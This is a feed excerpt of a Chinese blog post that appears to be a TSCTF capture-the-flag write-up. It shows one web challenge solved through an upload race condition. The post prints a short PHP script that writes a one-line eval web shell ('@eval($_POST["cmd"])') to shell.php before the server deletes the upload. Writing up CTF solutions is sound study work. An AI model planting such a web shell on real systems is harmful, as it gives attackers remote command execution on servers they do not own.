https://1lnk.top/tags/%E6%A0%88%E6%BA%A2%E5%87%BA/Recent content in 栈溢出 on Link's BlogHugo -- gohugo.iozh-CN© 2026 LinkFri, 14 Nov 2025 01:21:48 +0800https://1lnk.top/2025/11/14/TSCTFwp/Fri, 14 Nov 2025 01:21:48 +0800https://1lnk.top/2025/11/14/TSCTFwp/<h1 class="relative group">Web 方向 <div id="web-方向" class="anchor"></div> <span class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100 select-none"> <a class="text-primary-300 dark:text-neutral-700 !no-underline" href="#web-%e6%96%b9%e5%90%91" aria-label="锚点">#</a> </span> </h1> <h2 class="relative group">争渡 <div id="争渡" class="anchor"></div> <span class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100 select-none"> <a class="text-primary-300 dark:text-neutral-700 !no-underline" href="#%e4%ba%89%e6%b8%a1" aria-label="锚点">#</a> </span> </h2> <p>上传php文件 web返回 已从tmp删除 可知存在时间差</p> <div class="highlight-wrapper"><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span> </span></span><span class="line"><span class="cl"><span class="nv">$f</span> <span class="o">=</span> <span class="nx">fopen</span><span class="p">(</span><span class="s2">&#34;shell.php&#34;</span><span class="p">,</span> <span class="s2">&#34;w&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"><span class="nx">fputs</span><span class="p">(</span><span class="nv">$f</span><span class="p">,</span> <span class="s1">&#39;&lt;?php @eval($_POST[&#34;cmd&#34;]);?&gt;&#39;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"><span class="cp">?&gt;</span><span class="err"> </span></span></span></code></pre></div></div> <p>利用这个脚本 在服务器删除该文件之前 访问文件 使其在tmp写入一句话木马</p>